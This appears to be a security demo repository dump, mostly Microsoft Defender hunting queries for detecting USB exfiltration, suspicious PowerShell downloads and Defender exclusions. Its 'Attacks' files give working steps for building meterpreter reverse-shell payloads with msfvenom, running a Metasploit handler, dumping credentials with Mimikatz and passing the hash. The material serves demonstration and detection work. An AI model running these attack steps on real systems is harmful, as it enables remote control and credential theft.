"UefiSigners":"77fa9abd-0359-4d32-bd60-28f4e78f784b:e8e95f0733a55e8bad7be0a1413ee23c51fcea64b3c8fa6a786935fddcc71961"} 20 | 21 | 22 | 23 | MiscEvents 24 | | where ActionType == "DeviceBootAttestationInfo" 25 | | extend AdditionalFieldData = parse_json(AdditionalFields) 26 | | project ['Column One'] = tostring(AdditionalFields['SystemGuardSecurityLevel']) 27 | | extend AdditionalFieldData.SystemGuardSecurityLevel, 28 | AdditionalFieldData.TpmVersion, 29 | AdditionalFieldData.ValidationResult, 30 | AdditionalFieldData.IsKernelDebuggingOff, 31 | AdditionalFieldData.IsFlightSigningOff, 32 | AdditionalFieldData.IsDriverCodeIntegrityEnforced, 33 | AdditionalFieldData.IsElamDriverLoaded, 34 | AdditionalFieldData.IsSecureBootOn, 35 | AdditionalFieldData.IsIommuOn, 36 | AdditionalFieldData.IsVsmOn, 37 | AdditionalFieldData.IsHvciOn, 38 | AdditionalFieldData.Pcr0Hash 39 | 40 | | project-rename IsSecureBootOn = AdditionalFieldData_IsSecureBootOn, 41 | SystemGuardSecurityLevel = AdditionalFieldData_SystemGuardSecurityLevel, 42 | TpmVersion = AdditionalFieldData_TpmVersion, 43 | IsIommuOn = AdditionalFieldData_IsIommuOn, 44 | IsVsmOn = AdditionalFieldData_IsVsmOn, 45 | IsHvciOn = AdditionalFieldData_IsHvciOn, 46 | Computername = ComputerName 47 | | project Computername, IsHvciOn , IsSecureBootOn , IsIommuOn , IsVsmOn , SystemGuardSecurityLevel , TpmVersion 48 | | project ComputerName , AdditionalFieldData_IsSecureBootOn 49 | | distinct ComputerName, AdditionalFieldData_IsSecureBootOn 50 | 51 | 52 | 53 | 54 | MiscEvents 55 | | where ActionType == "DeviceBootAttestationInfo" 56 | | extend AdditionalFieldData = parse_json(AdditionalFields) 57 | | extend AdditionalFieldData.SystemGuardSecurityLevel, 58 | AdditionalFieldData.TpmVersion, 59 | AdditionalFieldData.ValidationResult, 60 | AdditionalFieldData.IsKernelDebuggingOff, 61 | AdditionalFieldData.IsFlightSigningOff, 62 | AdditionalFieldData.IsDriverCodeIntegrityEnforced, 63 | AdditionalFieldData.IsElamDriverLoaded, 64 | AdditionalFieldData.IsSecureBootOn, 65 | AdditionalFieldData.IsIommuOn, 66 | AdditionalFieldData.IsVsmOn, 67 | AdditionalFieldData.IsHvciOn, 68 | AdditionalFieldData.Pcr0Hash 69 | | project-rename IsSecureBootOn = AdditionalFieldData_IsSecureBootOn, 70 | SystemGuardSecurityLevel = AdditionalFieldData_SystemGuardSecurityLevel, 71 | TpmVersion = AdditionalFieldData_TpmVersion, 72 | IsIommuOn = AdditionalFieldData_IsIommuOn, 73 | IsVsmOn = AdditionalFieldData_IsVsmOn, 74 | IsHvciOn = AdditionalFieldData_IsHvciOn 75 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/API.md: -------------------------------------------------------------------------------- 1 | https://api-eu.securitycenter.windows.com/api/advancedqueries/run 2 | { 3 | "Query":"DeviceTvmSoftwareInventoryVulnerabilities | where VulnerabilitySeverityLevel == 'Critical'" 4 | } -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/AV Compliance by Machine by Setting.txt: -------------------------------------------------------------------------------- 1 | let TVMConfigAssessKB = DeviceTvmSecureConfigurationAssessmentKB 2 | | where ConfigurationSubcategory == 'Antivirus'; 3 | DeviceTvmSecureConfigurationAssessment 4 | | where ConfigurationSubcategory == 'Antivirus' 5 | | project DeviceName, IsCompliant, ConfigurationSubcategory, ConfigurationId, ConfigurationImpact, Timestamp 6 | | join kind= inner TVMConfigAssessKB on ConfigurationId 7 | | project DeviceName, IsCompliant, ConfigurationId, ConfigurationSubcategory, ConfigurationName 8 | | distinct DeviceName, IsCompliant, ConfigurationId, ConfigurationSubcategory, ConfigurationName 9 | | sort by DeviceName asc -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/Bitlocker Compliance.txt: -------------------------------------------------------------------------------- 1 | let TVMConfigAssessKB = DeviceTvmSecureConfigurationAssessmentKB 2 | | where ConfigurationSubcategory == 'Bitlocker'; 3 | DeviceTvmSecureConfigurationAssessment 4 | | where ConfigurationSubcategory == 'Bitlocker' 5 | | project DeviceName, IsCompliant, ConfigurationSubcategory, ConfigurationId, ConfigurationImpact, Timestamp 6 | | join kind= inner TVMConfigAssessKB on ConfigurationId 7 | | where ConfigurationName == "Encrypt all BitLocker-supported drives" 8 | | project DeviceName, IsCompliant, ConfigurationId, ConfigurationSubcategory, ConfigurationName 9 | | distinct DeviceName, IsCompliant, ConfigurationId, ConfigurationSubcategory, ConfigurationName 10 | | sort by DeviceName asc -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/DeviceTvmSecureConfigurationAssessment.kql: -------------------------------------------------------------------------------- 1 | // joining DeviceTvmSecureConfigurationAssessment and DeviceTvmSecureConfigurationAssessmentKB 2 | // list details per computer configassessment. 3 | 4 | DeviceTvmSecureConfigurationAssessment 5 | | project DeviceName , ConfigurationCategory , ConfigurationId , ConfigurationImpact , ConfigurationSubcategory , IsCompliant 6 | | join (DeviceTvmSecureConfigurationAssessmentKB 7 | | project ConfigurationId , ConfigurationBenchmarks , ConfigurationDescription , RiskDescription ) 8 | on ConfigurationId 9 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/DeviceTvmSoftwareInventoryVulnerabilities.kql: -------------------------------------------------------------------------------- 1 | // join the DeviceTvmSoftwareVulnerabilities and (DeviceTvmSoftwareVulnerabilitiesKB schema and 2 | // list details per computer and software 3 | 4 | DeviceTvmSoftwareVulnerabilities 5 | | project DeviceName, SoftwareName, CveId, SoftwareVersion, VulnerabilitySeverityLevel 6 | | join (DeviceTvmSoftwareVulnerabilitiesKB 7 | | project AffectedSoftware, VulnerabilityDescription , CveId , CvssScore , IsExploitAvailable 8 | ) 9 | on CveId 10 | | project DeviceName, CveId , SoftwareName , SoftwareVersion , VulnerabilityDescription , VulnerabilitySeverityLevel, IsExploitAvailable , CvssScore 11 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/Get Machines without a specific software version.txt: -------------------------------------------------------------------------------- 1 | DeviceTvmSoftwareInventoryVulnerabilities 2 | | where SoftwareVendor == "cisco" 3 | | where SoftwareName == "anyconnect_secure_mobility_client" 4 | | where SoftwareVersion != "4.8.2045.0" -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/TVMMonthlyReport.kql: -------------------------------------------------------------------------------- 1 | // code used in https://www.verboon.info/2019/11/how-to-generate-a-monthly-defender-atp-threat-and-vulnerability-report/ 2 | 3 | DeviceTvmSoftwareInventoryVulnerabilities 4 | | project DeviceName, SoftwareName, CveId, SoftwareVersion, VulnerabilitySeverityLevel 5 | | join (DeviceTvmSoftwareVulnerabilitiesKB 6 | | project AffectedSoftware, VulnerabilityDescription , CveId , CvssScore , IsExploitAvailable 7 | ) 8 | on CveId 9 | | project CveId , SoftwareName , SoftwareVersion , VulnerabilityDescription , VulnerabilitySeverityLevel, IsExploitAvailable , CvssScore 10 | | distinct SoftwareName , SoftwareVersion, CveId, VulnerabilityDescription , VulnerabilitySeverityLevel, IsExploitAvailable 11 | | sort by SoftwareName asc , SoftwareVersion -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/TVMSample1.kql: -------------------------------------------------------------------------------- 1 | // Get misconfigured operating systems distribution for 'Remote Desktop security level' not 2 | // configured as 'TLS': 3 | DeviceTvmSecureConfigurationAssessment 4 | | where ConfigurationId == "scid-24" 5 | | where IsCompliant == 0 6 | | summarize count() by OSPlatform -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/TVM/summaryconfig.kql: -------------------------------------------------------------------------------- 1 | DeviceTvmSecureConfigurationAssessment 2 | | where IsCompliant == 0 3 | | distinct ConfigurationId 4 | | join (DeviceTvmSecureConfigurationAssessmentKB 5 | | project ConfigurationName , ConfigurationDescription , RiskDescription , ConfigurationId , ConfigurationCategory, ConfigurationBenchmarks, ConfigurationImpact ) 6 | on ConfigurationId 7 | | project ConfigurationId , ConfigurationName , ConfigurationDescription, ConfigurationCategory , RiskDescription , ConfigurationBenchmarks , ConfigurationImpact 8 | 9 | 10 | DeviceTvmSecureConfigurationAssessment 11 | | where IsCompliant == 0 12 | | where ConfigurationCategory == "Security controls" 13 | | distinct ConfigurationId 14 | | join (DeviceTvmSecureConfigurationAssessmentKB 15 | | project ConfigurationName , ConfigurationDescription , RiskDescription , ConfigurationId , ConfigurationCategory, ConfigurationBenchmarks, ConfigurationImpact ) 16 | on ConfigurationId 17 | | project ConfigurationId , ConfigurationName , ConfigurationDescription, ConfigurationCategory , RiskDescription , ConfigurationBenchmarks , ConfigurationImpact 18 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/USB/USB.KQL: -------------------------------------------------------------------------------- 1 | // Find possible exfiltration attempts via USB 2 | // The following query finds attempts to copy at least 10 distinct documents // within 15 minutes to a newly attached USB storage device. The query finds USB // drive mounting events and extracts the assigned drive letter for each drive. // It then finds file creation events on each drive letter, which maps to a // freshly mounted USB device. 3 | 4 | // source: https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Advanced-hunting-updates-USB-events-machine-level-actions-and/ba-p/824152 5 | 6 | MiscEvents 7 | | where EventTime > ago(1d) 8 | | where ActionType == "UsbDriveMount" 9 | | project USBMountTime = EventTime, MachineId, AdditionalFields 10 | | extend DriveLetter = tostring(todynamic(AdditionalFields).DriveLetter) 11 | | join ( 12 | FileCreationEvents 13 | | where EventTime > ago(1d) 14 | | where ActionType == "FileCreated" 15 | | where FileName endswith ".docx" or FileName endswith ".pptx" 16 | | parse FolderPath with DriveLetter '\\' * 17 | | extend DriveLetter = tostring(DriveLetter) 18 | ) 19 | on MachineId, DriveLetter 20 | | where (EventTime - USBMountTime) between (0min .. 15min) 21 | | summarize DistinctFilesCopied = dcount(SHA1), Events=makeset(pack("AccountName", InitiatingProcessAccountName, "EventTime", EventTime, "ReportId", ReportId, "FileName", FileName, "AdditionalDriveProperties", AdditionalFields)) by MachineId, bin(EventTime, 15m) 22 | | where DistinctFilesCopied > 10 23 | | mv-expand Events 24 | | extend EventTime = Events.EventTime, FileName = Events.FileName, AccountName = Events.AccountName, ReportId = Events.ReportId, AdditionalDriveProperties = Events.AdditionalDriveProperties 25 | 26 | 27 | // find used USB devices by manufacturer 28 | MiscEvents 29 | | where ActionType == "UsbDriveMount" 30 | | project USBMountTime = EventTime, MachineId, AdditionalFields 31 | | extend DriveLetter = tostring(todynamic(AdditionalFields).DriveLetter) 32 | | extend ProductName = tostring(todynamic(AdditionalFields).ProductName) 33 | | extend Manufacturer = tostring(todynamic(AdditionalFields).Manufacturer) 34 | | summarize count() by Manufacturer 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/alert .kql: -------------------------------------------------------------------------------- 1 | // List relevant events 30 minutes before and after selected Alert event 2 | let selectedEventTimestamp = datetime(2020-03-19T16:28:13.7180395Z); 3 | search in (DeviceFileEvents, DeviceProcessEvents, DeviceEvents, DeviceRegistryEvents, DeviceNetworkEvents, DeviceImageLoadEvents, DeviceLogonEvents) 4 | Timestamp between ((selectedEventTimestamp - 30m) .. (selectedEventTimestamp + 30m)) 5 | and DeviceId == "048ea3116dc07940ad191725e63706910347b2b7" 6 | | sort by Timestamp desc 7 | | extend Relevance = iff(Timestamp == selectedEventTimestamp, "Selected event", iff(Timestamp < selectedEventTimestamp, "Earlier event", "Later event")) 8 | | project-reorder Relevance 9 | 10 | 11 | 12 | DeviceProcessEvents 13 | | where FileName == "powershell.exe" 14 | | where ActionType == "ProcessCreated" 15 | | where ProcessCommandLine contains "-ExecutionPolicy Bypass" 16 | | where ProcessCommandLine contains "Defender" 17 | 18 | powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -Command "& {$OutputEncoding = [Console]::OutputEncoding =[System.Text.Encoding]::UTF8;$scriptFileStream = [System.IO.File]::Open('C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\DataCollection\6999.4356514.0.4152354.4379763.1\3fa4876e-3ae5-4c59-9a4d-08a7400268a5.ps1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileAccess]::Read);$calculatedHash = Get-FileHash 'C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\DataCollection\6999.4356514.0.4152354.4379763.1\3fa4876e-3ae5-4c59-9a4d-08a7400268a5.ps1' -Algorithm SHA256;if (!($calculatedHash.Hash -eq 'e44f0d01ff37bb3893b4af08f2175058caf88709543e1cfcb441f0b750689c54')) { exit 323;}; . 'C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\DataCollection\6999.4356514.0.4152354.4379763.1\3fa4876e-3ae5-4c59-9a4d-08a7400268a5.ps1' }" 19 | 20 | 21 | DeviceProcessEvents 22 | | where FileName == "schtasks.exe" 23 | | where ActionType == "ProcessCreated" 24 | | summarize count() by ProcessCommandLine 25 | 26 | 27 | -------------------------------------------------------------------------------- /DemoTools/Attacks/README.md: -------------------------------------------------------------------------------- 1 | # Security Demos 2 | 3 | This repository contains scripts and playbooks to conduct Security Demos. 4 | 5 | ## Getting Started 6 | 7 | The "Attacker" client is running Windows 10 and is configured as following: 8 | 9 | - Local User Account is MSF and is a local Administrator 10 | - [MetaSploit Framework for Windows](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers) 11 | - Windows Defender is Disabled 12 | - Windows Firewall is disabled 13 | - The below folders are excluded in Windows Defender to avoid files being removed should Windows Defender be enabled. 14 | 15 | - C:\Temp 16 | - C:\Payloads 17 | - C:\MSFInstall 18 | - C:\metasploit-framework 19 | - C:/Users/msf/.msf4/ 20 | 21 | ## MetaSploit Framework First Start 22 | 23 | Run the following commands when starting MetaSploit for the first time 24 | 25 | ```batch 26 | C:\metasploit-framework\bin>msfdb.bat init 27 | ``` 28 | 29 | Wait until the database is created 30 | 31 | > Creating database at C:/Users/msf/.msf4/db 32 | > Starting database at C:/Users/msf/.msf4/db...success 33 | > Creating database users 34 | > Creating initial database schema 35 | 36 | Next start the Metasploit framework console 37 | ```batch 38 | C:\metasploit-framework\bin>msfconsole.bat 39 | ``` 40 | If all goes well, you should see the MSF Console 41 | 42 | -------------------------------------------------------------------------------- /DemoTools/Attacks/ReverseTCPAttack.md: -------------------------------------------------------------------------------- 1 | # Reverse TCP Attack 2 | 3 | Follow the below instructions to conduct an attack on a victim PC using a Reverse TCP payload 4 | 5 | ## Create Windows Binary Payload 6 | 7 | The below instructions explain how to create a Windows Binary Payload that can be used to drop on a victim client. 8 | 9 | 1. On the Attacker Client where Metasploit is installed open a command prompt 10 | 2. Run IPConfig to obtain the IP address of the attacker client 11 | 3. Then Run the following command 12 | 13 | ```batch 14 | msfvenom.bat -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=172.18.48.21 LPORT=4444 -f exe -o C:\Payloads\Payload3.exe 15 | ``` 16 | 4. The generated payload is stored in c:\Payloads\ 17 | 18 | 19 | ## Create Windows PowerShell Payload 20 | 21 | The below instructions explain how to create a PowerShell Payload that can be used to drop on a victim client. 22 | 23 | 1. On the Attacker Client where Metasploit is installed open a command prompt 24 | 2. Run IPConfig to obtain the IP address of the attacker client 25 | 3. Then Run the following command 26 | 27 | ```batch 28 | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.18.48.21 LPORT=444 EXITFUNC=thread -f ps1 -o c:\Payloads\Invoke-Shellcode.ps1 29 | ``` 30 | 31 | 4. The generated payload is stored in c:\Payloads\ 32 | 33 | ## Start Metasploit Handler 34 | 35 | Within the Metasploit Console enter the following commands: 36 | 37 | ```batch 38 | use exploit/multi/handler 39 | set PAYLOAD windows/meterpreter/reverse_tcp 40 | set LHOST 172.18.48.21 41 | set LPORT 4444 42 | set ExitOnSession false 43 | exploit -j -z 44 | ``` 45 | 46 | To list the sessions type 47 | sessions -l 48 | 49 | to start interacting with the remote client type 50 | sessions -i 1 51 | 52 | ## Victim PC 53 | 54 | 1. Copy the payload executable from the attacker PC to the victim PC. 55 | 2. Launch the previously generated payload.exe as Administrator3. 56 | 57 | ## Post Activities 58 | 59 | to be defined 60 | 61 | ## Resources 62 | 63 | - [Creating Metasploit Payloads](https://netsec.ws/?p=331) 64 | - [Mimikatz](https://www.offensive-security.com/metasploit-unleashed/mimikatz/) 65 | - [How to Attack Windows 10 Machine with Metasploit](ttps://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/#gref) 66 | -------------------------------------------------------------------------------- /DemoTools/Attacks/credentialguard.md: -------------------------------------------------------------------------------- 1 | # Credential Guard Demo with Mimikatz 2 | 3 | ## Demo without Credential Guard enabled 4 | 5 | If you have a VM with Credential Guard already enabled, run the following command on the Hyper-V host to disable Virtualization based Security. 6 | 7 | ```powershell 8 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $false 9 | ``` 10 | 11 | 1. Add C:\DEV\MK to the Defender Exclusion list 12 | 2. Download mimikatz into C:\DEV\MK 13 | 3. Open an elevated prompt. 14 | 4. Run mimikatz.exe 15 | 5. Run the following commands 16 | 17 | ```batch 18 | privilege::debug 19 | log nocredguard.log 20 | sekurlsa::logonpasswords 21 | ``` 22 | 23 | You get an output like this, in this example we see the NTLM hashes from user Tina and user OA. Note down the NTLM hash 24 | 25 | ```batch 26 | * Username : oa 27 | * Domain : corp 28 | * NTLM : 63bf41b93e6ee0deffbadba689a0241d 29 | * SHA1 : 00b18eac52e67f636fc4a1130f491919a2516ce3 30 | * DPAPI : 06383a0cd1b82e49154d37c70c70d85b 31 | 32 | 33 | * Username : tina 34 | * Domain : corp 35 | * NTLM : 3c849ce9c31ccf7a3c0cad3ec93edc75 36 | * SHA1 : dc4aa8063574c5069ed522d8098e0b9ab1fab3bf 37 | * DPAPI : 131a0e8007dbed59aa34bf15e0269e03 38 | 39 | ``` 40 | 41 | To run a Pass the hash simulation run the following command: 42 | 43 | ```batch 44 | sekurlsa::pth /user:oa /domain:corp.net /ntlm:63bf41b93e6ee0deffbadba689a0241d 45 | ``` 46 | 47 | Run whoami, you will still see the test user, not the elevated one, next open a remote powershell session on the domain controller and add a new group. This only works because you are using domain admin credentials via pass the hash 48 | 49 | 50 | ## Demo with Credential Guard enabled 51 | 52 | To turn VBS on again for the VM that has Credential Gaurd enabled run the following command on the Hyper-V host. 53 | 54 | ```powershell 55 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $true 56 | ``` 57 | 58 | Then logon to the VM , open an elevated prompt and run the following command: 59 | 60 | 1. Run mimikatz.exe 61 | 2. Run the following commands 62 | 63 | ```batch 64 | privilege::debug 65 | log nocredguard.log 66 | sekurlsa::logonpasswords 67 | ``` 68 | 69 | Result: you will no longer see MTLM hashes. 70 | -------------------------------------------------------------------------------- /DemoTools/Attacks/mitreatt&ck.md: -------------------------------------------------------------------------------- 1 | # Mitre ATT&CK 2 | 3 | Atomic red team 4 | 5 | Small and highly portable detection tests based on MITRE's ATT&CK. 6 | 7 | ## Initial Access 8 | 9 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/bin/PhishingAttachment.xlsm 10 | 11 | 12 | ## Execution 13 | 14 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1223/T1223.md 15 | 16 | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm 17 | hh.exe #{remote_chm_file} 18 | 19 | 20 | 21 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1086/T1086.md#atomic-test-12---powershell-fileless-script-execution 22 | Atomic Test #12 - PowerShell Fileless Script Execution 23 | 24 | 25 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1085/T1085.md#atomic-test-2---rundll32-execute-vbscript-command 26 | 27 | Atomic Test #2 - Rundll32 execute VBscript command 28 | rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0) 29 | 30 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053/T1053.md#atomic-test-4---powershell-cmdlet-scheduled-task 31 | 32 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1064/T1064.md 33 | 34 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1035/T1035.md#atomic-test-1---execute-a-command-as-a-service 35 | 36 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1127/T1127.md 37 | 38 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/T1047.md 39 | 40 | ## Persistence 41 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1197/T1197.md#atomic-test-2---download--execute-via-powershell-bits 42 | 43 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136/T1136.md#atomic-test-4---create-a-new-user-in-powershell 44 | 45 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1050/T1050.md 46 | 47 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1050/T1050.md 48 | 49 | 50 | ## privilege-escalation 51 | -------------------------------------------------------------------------------- /DemoTools/CMPivot/cmpivot.kql: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | WinEvent('Microsoft-Windows-Windows Defender/Operational', 1d) 5 | 6 | 7 | Service 8 | | where Name == 'Sense' // and State == 'Stopped' 9 | 10 | 11 | Registry('hklm:\\SOFTWARE\\Microsoft\\Windows Advanced Threat Protection\\Status') 12 | | where Property == 'OnboardingState' and Value == '0' 13 | 14 | WinEvent('Microsoft-Windows-SENSE/Operational', 1d) 15 | -------------------------------------------------------------------------------- /DemoTools/MDATPAdminLog/mdatpadminlog.txt: -------------------------------------------------------------------------------- 1 | { 2 | "definition": { 3 | "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", 4 | "actions": { 5 | "Actions_-_Get_list_of_machine_actions": { 6 | "inputs": { 7 | "host": { 8 | "connection": { 9 | "name": "@parameters('$connections')['wdatp']['connectionId']" 10 | } 11 | }, 12 | "method": "get", 13 | "path": "/api/machineactions" 14 | }, 15 | "runAfter": {}, 16 | "type": "ApiConnection" 17 | }, 18 | "For_each": { 19 | "actions": { 20 | "Send_Data": { 21 | "inputs": { 22 | "body": "@{items('For_each')}", 23 | "headers": { 24 | "Log-Type": "MDATPAdminAuditLog", 25 | "time-generated-field": "@{utcNow()}" 26 | }, 27 | "host": { 28 | "connection": { 29 | "name": "@parameters('$connections')['azureloganalyticsdatacollector']['connectionId']" 30 | } 31 | }, 32 | "method": "post", 33 | "path": "/api/logs" 34 | }, 35 | "runAfter": {}, 36 | "type": "ApiConnection" 37 | } 38 | }, 39 | "foreach": "@body('Actions_-_Get_list_of_machine_actions')?['value']", 40 | "runAfter": { 41 | "Actions_-_Get_list_of_machine_actions": [ 42 | "Succeeded" 43 | ] 44 | }, 45 | "type": "Foreach" 46 | } 47 | }, 48 | "contentVersion": "1.0.0.0", 49 | "outputs": {}, 50 | "parameters": { 51 | "$connections": { 52 | "defaultValue": {}, 53 | "type": "Object" 54 | } 55 | }, 56 | "triggers": { 57 | "Recurrence": { 58 | "recurrence": { 59 | "frequency": "Hour", 60 | "interval": 8, 61 | "startTime": "2020-04-11T00:00:00Z", 62 | "timeZone": "W. Europe Standard Time" 63 | }, 64 | "type": "Recurrence" 65 | } 66 | } 67 | }, 68 | "parameters": { 69 | "$connections": { 70 | "value": { 71 | "azureloganalyticsdatacollector": { 72 | "connectionId": "/subscriptions/34d8a673-71a1-40ac-b62d-564ba27ea3a2/resourceGroups/rg_mdatpadminauditlog/providers/Microsoft.Web/connections/azureloganalyticsdatacollector", 73 | "connectionName": "azureloganalyticsdatacollector", 74 | "id": "/subscriptions/34d8a673-71a1-40ac-b62d-564ba27ea3a2/providers/Microsoft.Web/locations/westus/managedApis/azureloganalyticsdatacollector" 75 | }, 76 | "wdatp": { 77 | "connectionId": "/subscriptions/34d8a673-71a1-40ac-b62d-564ba27ea3a2/resourceGroups/rg_mdatpadminauditlog/providers/Microsoft.Web/connections/wdatp", 78 | "connectionName": "wdatp", 79 | "id": "/subscriptions/34d8a673-71a1-40ac-b62d-564ba27ea3a2/providers/Microsoft.Web/locations/westus/managedApis/wdatp" 80 | } 81 | } 82 | } 83 | } 84 | } -------------------------------------------------------------------------------- /DemoTools/Mitre/Disabling Security Tools.md: -------------------------------------------------------------------------------- 1 | # Disabling Security Tools 2 | 3 | [Disabling Security Tools](https://attack.mitre.org/techniques/T1089/) 4 | 5 | ## Suspicious Windows Defender Antivirus exclusion 6 | 7 | A process has unexpectedly modified the Windows Defender Antivirus exclusion list. Attempts to modify the exclusion list can indicate attempts to evade detection. 8 | 9 | Check the items that have been added to the exclusion list and the process that performed the modification. 10 | 11 | ### Advanced Hunting 12 | 13 | ```sql 14 | DeviceRegistryEvents 15 | | where ActionType == "RegistryValueSet" 16 | | where RegistryKey startswith 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions' 17 | ``` 18 | 19 | ```sql 20 | DeviceProcessEvents 21 | | where InitiatingProcessCommandLine contains "add-mppreference" 22 | | parse InitiatingProcessCommandLine with * '-ExclusionPath' Exclusion 23 | | project Timestamp, DeviceName, Exclusion, FileName, ProcessCommandLine, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, ReportId 24 | ``` 25 | 26 | ```sql 27 | DeviceProcessEvents 28 | | where InitiatingProcessCommandLine contains "add-mppreference" 29 | | parse InitiatingProcessCommandLine with * '-ExclusionPath' Exclusion 30 | | project Timestamp, DeviceName, Exclusion, FileName, ProcessCommandLine, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, ReportId 31 | ``` 32 | 33 | ```sql 34 | DeviceEvents 35 | | where InitiatingProcessFileName == "powershell.exe" 36 | | where AdditionalFields has_any ("Get-MpPreference","Add-MpPreference","Set-MpPreference","Get-mpcomputerstatus") 37 | ``` 38 | 39 | ### Live Response 40 | 41 | Save the below code as defenderexclusions.ps1 and load it up to the MDATP script library 42 | 43 | ```PowerShell 44 | Write-Host "Retrieving Defender Configuration" 45 | $DefenderSettings = Get-MpPreference 46 | 47 | Write-Host "Excluded Processes" 48 | write-host $DefenderSettings.ExclusionProcess 49 | 50 | Write-Host "Excluded Paths" 51 | write-host $DefenderSettings.ExclusionPath 52 | 53 | Write-Host "Excluded Exentsions" 54 | write-host $DefenderSettings.ExclusionExtension 55 | ``` 56 | 57 | Within the live response session run the following command 58 | 59 | ```bash 60 | run defenderexclusions.ps1 61 | ``` 62 | -------------------------------------------------------------------------------- /DemoTools/Mitre/PowerShell.md: -------------------------------------------------------------------------------- 1 | # PowerShell Execution 2 | 3 | [PowerShell](https://attack.mitre.org/techniques/T1086/) 4 | 5 | ## A malicious PowerShell Cmdlet was invoked on the machine 6 | 7 | A malicious PowerShell Cmdlet was invoked on the machine. The Cmdlet may be associated with credential theft, exploitation, network reconnaissance or code injection. 8 | 9 | Inspect the process responsible for the invocation of the Cmdlet - if it is not a valid tool used by a network administrator or other expected user, remove the tool and isolate the machine from the network 10 | 11 | ## Suspicious PowerShell command line 12 | 13 | A suspicious PowerShell activity was observed on the machine. This behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace. 14 | Recommended actions: 15 | 16 | Examine the PowerShell commandline to understand what commands were executed. Note: the content may need to be decoded if it is base64-encoded 17 | Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc. 18 | Explore the timeline of this and other related machines for additional suspect activities around the time of the alert. 19 | Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information. 20 | 21 | ## Advanced hunting 22 | 23 | ```sql 24 | // List relevant events 30 minutes before and after selected Alert event 25 | let selectedEventTimestamp = datetime(2020-04-26T14:19:10.0273986Z); 26 | search in (DeviceFileEvents, DeviceProcessEvents, DeviceEvents, DeviceRegistryEvents, DeviceNetworkEvents, DeviceImageLoadEvents, DeviceLogonEvents) 27 | Timestamp between ((selectedEventTimestamp - 30m) .. (selectedEventTimestamp + 30m)) 28 | and DeviceId == "e5c30d8c0607564282e7714750925a7811540fab" 29 | | sort by Timestamp desc 30 | | extend Relevance = iff(Timestamp == selectedEventTimestamp, "Selected event", iff(Timestamp < selectedEventTimestamp, "Earlier event", "Later event")) 31 | | project-reorder Relevance 32 | ``` 33 | 34 | ```sql 35 | // powershell cmdlets executed 36 | DeviceEvents 37 | | where ActionType == "PowerShellCommand" and Timestamp > ago(7d) 38 | | project Timestamp, Command=tostring(parse_json(AdditionalFields).Command) 39 | | where Command !endswith ".ps1" and Command !startswith "Script_" 40 | | summarize Num=count() by Command | sort by Num asc 41 | ``` 42 | 43 | ```sql 44 | // Finds PowerShell execution events that could involve a download. 45 | DeviceProcessEvents 46 | | where Timestamp > ago(7d) 47 | | where FileName in ("powershell.exe", "POWERSHELL.EXE", "powershell_ise.exe", "POWERSHELL_ISE.EXE") 48 | | where ProcessCommandLine has "Net.WebClient" 49 | or ProcessCommandLine has "DownloadFile" 50 | or ProcessCommandLine has "Invoke-WebRequest" 51 | or ProcessCommandLine has "Invoke-Shellcode" 52 | or ProcessCommandLine contains "http:" 53 | | project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine 54 | | top 100 by Timestamp 55 | ``` 56 | 57 | ```sql 58 | // PowerShell executed 59 | DeviceEvents 60 | | where ActionType == "PowerShellCommand" 61 